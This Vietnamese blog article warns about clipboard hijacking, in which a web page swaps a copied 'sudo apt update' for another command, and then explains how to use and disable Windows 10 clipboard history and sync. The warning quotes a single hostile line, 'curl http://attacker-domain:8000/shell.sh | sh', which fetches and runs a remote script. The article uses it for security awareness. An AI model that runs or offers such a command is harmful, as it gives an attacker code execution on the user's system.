Một chuyên gia bảo mật đã thực hiện một thủ thuật đơn giản sẽ khiến bạn phải suy nghĩ kỹ trước khi copy và dán bất kỳ lệnh nào từ các trang web không tin cậy.

Lỗ hổng từ Clipboard – khay nhớ tạm

Gần đây, Gabriel Friedlander, người sáng lập nền tảng Wizer –  chuyên đào tạo nâng cao nhận thức về bảo mật đã thí nghiệm một vụ Hack đơn giản nhưng đáng ngạc nhiên sẽ khiến bạn phải thận trọng khi Copy các lệnh từ các trang web.

Việc Copy các lệnh thường dùng từ một trang web (ahem, StackOverflow) và dán chúng vào công cụ dòng lệnh (terminal) như CMD Windows hoặc Terminal Linux là điều rất quen thuộc đối với lập trình viên mới vào nghề hoặc những người lười như mình.

Nhưng Friedlander cảnh báo một trang web có thể được thay thế một cách bí mật nội dung của những gì có trên Clipboard của bạn và những gì thực sự được Copy vào khay nhớ tạm của bạn sẽ khác rất nhiều so với những gì bạn định sao chép.

Tệ hơn nữa, nếu không có bước kiểm tra cần thiết, lập trình viên có thể chỉ nhận ra lỗi của họ sau khi dán văn bản, lúc này có thể đã quá muộn.

Bạn có thể thực nghiệm kiểu Hack này tại trang https://www.wizer-training.com/blog/copy-paste.

Hãy thử copy dòng trên trang web, sau đó dán ra notepad hoặc bất cứ đâu.

Bạn sẽ thấy kết quả không phải là sudo apt update mà là

curl http://attacker-domain:8000/shell.sh | sh

Nhiều người cứ nghĩ là họ đang copy một câu lệnh Update hệ thống của Linux, tưởng chừng như vô hại, nhưng thật ra trong bộ nhớ tạm đang lữu trữ lệnh tải shell.sh và thực thi sau khi tải xong.

Những người dán văn bản có thể có ấn tượng rằng họ đang sao chép cập nhật lệnh sudo apt quen thuộc, vô hại được sử dụng để tìm nạp thông tin cập nhật trên phần mềm được cài đặt trên hệ thống của bạn.

Thật ra khi view-source Website bạn sẽ thấy có một đoạn javascript có chức năng đổi nội dung khi bạn thực hiện lệnh Copy từ trang web đó.

Để khắc phục tình trạng này, bạn có thể dùng một số extension chặn javascript trên Chrome như: ScriptBlock, Disable JavaScript, Toggle JavaScript… nhưng nếu dùng như vậy, khi vào một số trang web dùng javascript sẽ bị lỗi hiển thị. Tốt nhất là khi copy nội dung gì, thì dán vào notepad trước khi xem nó ra đúng nội dung không, sau đó hãy dán vào Terminal

Để khắc phục những hạn chế này chỉ được copy và dán 1 lần và để làm cho trải nghiệm copy paste trở nên dễ dàng hơn, bắt đầu từ Bản cập nhật tháng 10 năm 2018, Windows 10 giới thiệu một bộ nhớ tạm (clipboard) giúp quản lý văn bản và hình ảnh (tối đa 4MB) mà bạn đã copy. Ngoài ra, bạn cũng có thể xem và dán nội dung từ lịch sử bộ nhớ tạm và thậm chí ghim các mục mà bạn copy và dán thường xuyên để khi khởi động lại máy thì nội dung được ghim vẫn còn.

Ví dụ: bạn có 2 đoạn văn

• Đoạn 1: Tôi là AnonyViet
• Đoạn 2: Tôi không có tên

Bình thường bạn Copy đoạn 1 rồi dán qua Word, sau đó quay lại copy đoạn 2 ròi dán tiếp qua Word, rất mất thời gian.

Bây giờ bạn chỉ cần làm như vậy, bôi đen đoạn 1 nhấn Ctrl + C, sau đó tiếp tục bôi đen đoạn 2 nhấn Ctrl + C.

Tiếp đến nhấn tổ hợp phím Windows + V để hiện thị khung lưu dữ liệu copy và chọn nội dung cần dán là xong.

Ngoài ra, tận dụng cùng một công nghệ đám mây để đồng bộ hóa nội dung Timeline của bạn, lịch sử bộ nhớ tạm giờ đây có thể đồng bộ và truy cập trên tất cả các thiết bị của bạn.

Vậy nên, trong bài viết này, mình sẽ hướng dẫn các bạn thiết lập và sử dụng dụng bộ nhớ tạm mới nhất của Windows 10.

Cách bật chế độ Clipboard Copy nhiều lần trên Windows 10

Trên Windows 10 phiên bản 1809, bạn có thể bật bộ nhớ tạm mới bằng ứng dụng Settings và phím tắt mới.

Bật bộ nhớ tạm bằng Settings

Để bật bộ nhớ tạm trong ứng dụng Settings, bạn cần làm theo các bước sau:

1. Mở Settings
2. Nhấn vào System
3. Chọn Clipboard
4. Bật Clipboard history

Bật bộ nhớ tạm bằng phím tắt

Bạn cũng có thể bật bộ nhớ tạm bằng phím tắt nữa đó:

1. Nhấn phím tắt Windows + V
2. Bấm Turn on

Sau khi hoàn thành các bước, bạn có thể bắt đầu sử dụng bộ nhớ tạm mới và quản lý nhiều cài đặt khác.

Tắt bộ nhớ tạm trên Windows 10

Thiết lập Clipboard history bị tắt theo mặc định, nhưng bạn có thể kiểm tra hoặc tắt nó nếu tính năng này được bật bằng cách làm theo các bước sau:

1. Mở Settings
2. Nhấn System
3. Chọn Clipboard
4. Tắt Clipboard history

Sau khi bạn đã hoàn tất các bước trên, bộ nhớ tạm mới sẽ không còn hoạt động nữa nhưng nó sẽ không ảnh hưởng đến chức năng của bộ nhớ tạm cũ.

Cách đồng bộ lịch sử của bộ nhớ tạm trên Windows 10

Có lẽ một trong những tính năng thú vị nhất của bộ nhớ tạm mới là khả năng dán văn bản và hình ảnh trên các thiết bị khác của bạn. Tuy nhiên, vì lý do bảo mật, đây là một tính năng mà bạn phải bật và định cấu hình theo cách thủ công bằng các bước sau:

1. Mở Settings
2. Chọn System
3. Chọn tiếp vào Clipboard
4. Bật tính năng “Sync across devices”
5. Chọn tùy chọn đồng bộ hóa tự động bạn muốn sử dụng:

• • Automatically sync text that I copy:  Lịch sử bộ nhớ tạm của bạn sẽ đồng bộ hóa với đám mây và trên các thiết bị của bạn.
  • Never automatically sync text that I copy: Bạn phải mở lịch sử bộ nhớ tạm theo cách thủ công và chọn nội dung bạn muốn dán trên các thiết bị.

Sau khi hoàn thành các bước trên, lịch sử nội dung của bạn sẽ đồng bộ hóa với đám mây và trên các thiết bị theo cài đặt bạn đã chỉ định.

Cách xóa lịch sử của bộ nhớ tạm trên Windows 10

Nếu bạn muốn xóa lịch sử của bộ nhớ tạm vì bạn không muốn sử dụng nó nữa hoặc nó không hoạt động chính xác và bạn muốn đặt lại lịch sử để xem liệu cách đó có khắc phục được sự cố hay không, hãy làm theo các bước sau:

1. Mở settings
2. Chọn System
3. Nhấn vào Clipboard
4. Bên dưới mục “Clear clipboard data”, nhấn nút Clear.

Khi bạn đã hoàn tất các bước trên, nội dung của bộ nhớ tạm sẽ bị xóa khỏi thiết bị và tài khoản Microsoft của bạn, nhưng các mục được ghim sẽ vẫn còn trong lịch sử cho đến khi bạn xóa chúng theo cách thủ công.

Nếu bạn đang muốn xóa một hoặc hai nội dung, thay vì xóa toàn bộ lịch sử, bạn có thể mở Clipboard bằng phím Windows + V và nhấp vào nút X cho từng nội dung bạn muốn xóa. Ngoài ra, bạn cũng có thể nhấp vào nút Clear all trong giao diện lịch sử để xóa tất cả nội dung trong clipboard.

Cách sử dụng bộ nhớ tạm Copy nhiều lần không bị đè dữ liệu

Mặc dù bộ nhớ tạm mới giới thiệu giao diện và một số tính năng mới, nhưng nó không quá khó sử dụng.

Bộ nhớ tạm mới bổ sung cho trải nghiệm cũ mà bạn đã biết. Bạn vẫn có thể sử dụng phím tắt Ctrl + C để copy và phím tắt Ctrl + V để dán. Tương tự với menu chuột phải.

Tuy nhiên, bây giờ bạn có thể sử dụng phím tắt Windows + V để hiển thị lịch sử clipboard. Trong giao diện mới này, bạn sẽ tìm thấy danh sách các mục (chẳng hạn như văn bản và hình ảnh) mà bạn đã copy từ các ứng dụng khác nhau như Microsoft Word, Snip & Sketch, OneNote,…

Nếu bạn muốn copy và dán nội dung từ lịch sử của Clipboard, hãy làm theo các bước sau:

1. Chọn văn bản hoặc hình ảnh
2. Chuột phải và chọn Copy hoặc Cut
3. Mở ứng dụng mà bạn muốn paste
4. Nhấn Windows + V để mở lịch sử Clipboard
5. Chọn nội dung mà bạn muốn dán

Bạn cũng có thể ghim các mục mà bạn thường xuyên phải dán để truy cập nhanh hơn.

1. Nhấn Windows + V để mở lịch sử Clipboard
2. Nhấn vào nút Pin cho nội dung bạn muốn

Khi bạn không cần nội dung đó nữa, hãy nhấp lại vào nút để bỏ ghim hoặc nút X để xóa ghim nội dung đó.

Có một số hạn chế rõ ràng khi sử dụng lịch sử bộ nhớ tạm là mọi thứ bạn copy sẽ không xuất hiện trong lịch sử hoặc đồng bộ hóa trên các thiết bị. Ví dụ: bạn có thể copy tên của một tệp, nhưng việc copy một tệp để di chuyển nó đến một vị trí khác sẽ không xuất hiện trong lịch sử Clipboard.

Ngoài ra, bộ nhớ tạm trên đám mây hỗ trợ hình ảnh, nhưng chỉ khi bạn copy hình ảnh trong tài liệu. Bạn không thể copy tệp hình ảnh và mong đợi tệp nó xuất hiện trong lịch sử Clipboard hoặc đồng bộ hóa trên các thiết bị.

Kết luận

Mặc dù trải nghiệm bộ nhớ tạm mới có thể đồng bộ hóa lịch sử của bạn trên các thiết bị, nhưng bạn chỉ có thể truy cập lịch sử của mình trên máy tính chạy Windows 10 phiên bản 1809 trở lên hoặc khi sử dụng cùng một tài khoản Microsoft.

Nếu bạn bật tính năng này, hãy đảm bảo rằng bạn cũng hiểu các rủi ro bảo mật tiềm ẩn. Ví dụ: nếu bạn là một trong những người thường copy thông tin nhạy cảm (chẳng hạn như mật khẩu, địa chỉ, tên,…), bất kỳ thứ gì bạn copy vào bộ nhớ tạm sẽ lưu trữ dưới dạng văn bản thuần và bất kỳ ai có quyền truy cập vào máy tính của bạn đều có thể xem thông tin này chỉ bằng cách sử dụng phím tắt Windows + V. Ngoài ra, nếu bạn bật tùy chọn đồng bộ hóa, bạn cũng sẽ tải lịch sử của mình lên máy chủ Microsoft. Nếu bạn muốn tắt hoàn toàn tính năng đồng bộ hóa Clipboard thì có thể đọc bài viết này.

Câu hỏi thường gặp

Tôi có thể lưu trữ bao nhiêu nội dung trong lịch sử Clipboard?

Lịch sử Clipboard trên Windows 10 lưu trữ văn bản và hình ảnh với dung lượng tối đa 4MB.

Làm thế nào để bật/tắt lịch sử Clipboard?

Bạn có thể bật/tắt lịch sử Clipboard bằng cách vào Settings > System > Clipboard và bật/tắt tùy chọn “Clipboard history”. Hoặc sử dụng phím tắt Windows + V và chọn “Turn on” hoặc “Turn off”.

Tôi có thể đồng bộ lịch sử Clipboard giữa các thiết bị không?

Có, bạn có thể đồng bộ lịch sử Clipboard giữa các thiết bị bằng cách bật tùy chọn “Sync across devices” trong Settings > System > Clipboard. Bạn có thể chọn đồng bộ tự động hoặc thủ công.

Theo mặc định, đồng bộ hóa Clipboard bị tắt. Nếu nó đã bật sẵn, bạn có thể thay đổi các tính năng của clipboard trong Settings > System > Clipboard. Nhưng khi bạn bật tính năng đồng bộ hóa lên, nó sẽ tự động đồng bộ tất cả những gì bạn đã copy.

Để ngăn bất kỳ người dùng nào trên máy tính kích hoạt tính năng này và vô tình đồng bộ hóa dữ liệu nhạy cảm như mật khẩu với máy chủ của Microsoft, bạn có thể tắt hoàn toàn tính năng này.

Windows 10 Home: Tắt đồng bộ hóa clipboard thông qua Registry Editor

Trước khi bắt đầu thì hãy chắc chắn rằng bạn đã sao lưu Registry. Bởi Registry Editor là một công cụ rất mạnh và việc lạm dụng nó có thể khiến hệ thống của bạn không ổn định hoặc thậm chí không hoạt động. Miễn là bạn làm theo các cách dưới đây thì người yêu (PC) của bạn sẽ an toàn. Đề nghị không thực hiện khi không có sự giám sát của người thân.

Bạn cũng nên tạo một System Restore trước khi tiếp tục. Nếu có bất kì sự cố nào, bạn có thể quay lại thời điểm trước khi tạo System Restore đó.

Oke, sau khi hoàn thành các bước trên, nhấn Windows + R và nhập “regedit” để mở Registry Editor. Hoặc gõ regedit ở nút Start

Đi đến đường dẫn này:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System

Tại đây, chuột phải vào thư mục “System”, chọn New > DWORD (32bit) Value.

Đặt tên cho nó là “AllowCrossDeviceClipboard”. Đúp chuột vào và đặt giá trị là “0”.

Vậy là xong rồi đó. Để kích hoạt lại tính năng đồng bộ hóa Clipboard, chỉ cần đặt lại giá trị cho nó là “1” hoặc xóa nó đi là được.

Tải xuống file hack

Nếu bạn lười không muốn tự chỉnh sửa hoặc người thân của bạn không có ở đó thiệt thì chỉ cần tải xuống file này. Giải nến file vừa tải ra, mở file “DisableClipboardSyncAcrossDevices.reg”, và đồng ý  thay đổi registry. Nếu bạn muốn bật lại thì mở file “EnableClipboardSyncAcrossDevices.reg” và làm tương tự.

Bạn cũng có thể dễ dàng tạo các bản hack registry của riêng bạn thông qua bài viết này.

Windows 10 Pro và Enterprise: Tắt đồng bộ hóa clipboard thông qua Group Policy

Như trên thôi, tạo System Restore trước rồi làm gì thì làm nhé.

Đầu tiên, nhấn Windows + R và nhập gpedit.msc, sau đó nhấn Enter.

Đi đến Computer Configuration > Administrative Templates > System > OS Policies.

Mở “Allow Synchronization across Devices”, chọn “Disabled” và nhấn “OK” để lưu thay đổi.

Xong rồi đó, đóng Group Policy Editor đi và bạn không cần phải khởi động lại thiết bị của mình đâu.

Để bật lại đồng bộ hóa clipboard, quay lại đường dẫn trên. Đúp chuột vào “Allow Synchronization across Devices” và chuyển nó sang “Not Configured” hoặc “Enabled”.

Câu hỏi thường gặp

Làm thế nào để tắt đồng bộ hóa Clipboard trên Windows 10?

Tùy thuộc vào phiên bản Windows 10 (Home hoặc Pro/Enterprise), bạn có thể tắt đồng bộ hóa Clipboard bằng cách chỉnh sửa Registry Editor (cho Windows 10 Home) hoặc sử dụng Group Policy Editor (cho Windows 10 Pro/Enterprise). Hướng dẫn chi tiết có trong bài viết.

Tôi có cần khởi động lại máy tính sau khi tắt đồng bộ hóa Clipboard không?

Không cần thiết phải khởi động lại máy tính sau khi thực hiện các bước tắt đồng bộ hóa Clipboard, trừ khi bạn được hướng dẫn khác.

Nếu tôi muốn bật lại đồng bộ hóa Clipboard thì làm thế nào?

Đối với Registry Editor, hãy đặt giá trị “AllowCrossDeviceClipboard” thành “1” hoặc xóa nó đi. Đối với Group Policy Editor, hãy đặt “Allow Synchronization across Devices” thành “Not Configured” hoặc “Enabled”.